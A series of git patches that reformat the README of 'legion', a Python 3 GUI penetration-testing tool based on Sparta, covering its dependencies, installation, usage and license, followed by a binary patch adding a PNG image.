+35,10 @@ Installation ---- ``` git clone https://github.com/GoVanguard/legion.git +./startLegion.sh ``` -Run startLegion.sh - Note: Deps will be installed automatically + Credits ---- From 7333056413c65cc85211b118cca27a9b6a6c228b Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 05:54:05 -0500 Subject: [PATCH 016/450] Update README.md --- README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index f723443b..2d3bdcb7 100644 --- a/README.md +++ b/README.md @@ -23,13 +23,13 @@ Removed all Elixir crustiness Requirements ---- -Ubuntu or variant or WSL (Windows Subsystem for Linux) -Python 3.5+ -PyQT5 -SQLAlchemy -six -hydra -nmap +* Ubuntu or variant or WSL (Windows Subsystem for Linux) +* Python 3.5+ +* PyQT5 +* SQLAlchemy +* six +* hydra +* nmap Installation ---- From c8ec53ba990b8ceb5df87d5c188bd5bca01f1652 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 11:46:44 -0400 Subject: [PATCH 017/450] Updated README --- README.md | 45 ++++++++++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index 2d3bdcb7..11dbc29f 100644 --- a/README.md +++ b/README.md @@ -1,28 +1,26 @@ LEGION 0.2.1 (https://govanguard.io) == -Authors: +## Authors: ---- Shane Scott +## About legion +Based on Sparta by SECFORCE, legion is an information security tool that utilizes other effective tools as plugins, such as Nmap, netcat, Nikto, THC Hydra, smbenum, snmpcheck, dirbuster, and much more, and presents all of this information in a nice GUI. Now includes process monitoring to kill any hanging processes. -Description ----- - -Based off Sparta by SECFORCE. - -Runs on Ubuntu, and Windows Subsystem for Linux - -Ported from Python2.7 to Python 3.5+ +legion is written in Python 3, has been ported from PyQt4 to PyQt5, and no longer uses Elixir. -Ported from PyQt4 to PyQt5 +Tested on Ubuntu, Parrot Security OS, and Windows Subsystem for Linux. -Removed all Elixir crustiness +## Installation +``` +git clone https://github.com/GoVanguard/legion.git +``` +## Recommended Python Version +legion supports Python 3.5+. -Requirements ----- - +## Dependencies * Ubuntu or variant or WSL (Windows Subsystem for Linux) * Python 3.5+ * PyQT5 @@ -31,15 +29,20 @@ Requirements * hydra * nmap -Installation ----- +## Usage +Run startLegion start script to launch legion. You may first have to grant yourself the permission to execute the script, which can either be done by right clicking it and selecting Properties and enabling Execute permissions, or: +``` +chmod +x startLegion.sh +``` + +Then run startLegion: ``` -git clone https://github.com/GoVanguard/legion.git ./startLegion.sh ``` -Note: Deps will be installed automatically +Note: Deps will be installed automatically. -Credits ----- +## License +legion is licensed under the GNU General Public License v3.0. -Todo +## Credits +SECFORCE (Sparta) From 624d42ae6c761ca10f9563bbd8b7fb33cf28d695 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 11:46:55 -0400 Subject: [PATCH 018/450] Update README.md --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index 11dbc29f..bc3cad31 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,6 @@ LEGION 0.2.1 (https://govanguard.io) == ## Authors: ----- Shane Scott ## About legion From 083db5e54b5005c7803999d7f8565aabe4d9e92c Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 11:50:35 -0400 Subject: [PATCH 019/450] Added image --- legion.png | Bin 0 -> 106778 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 legion.png diff --git a/legion.png b/legion.png new file mode 100644 index 0000000000000000000000000000000000000000..d697b86d2c7719fa76592dcbf7ebbd068de79b2a GIT binary patch literal 106778 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 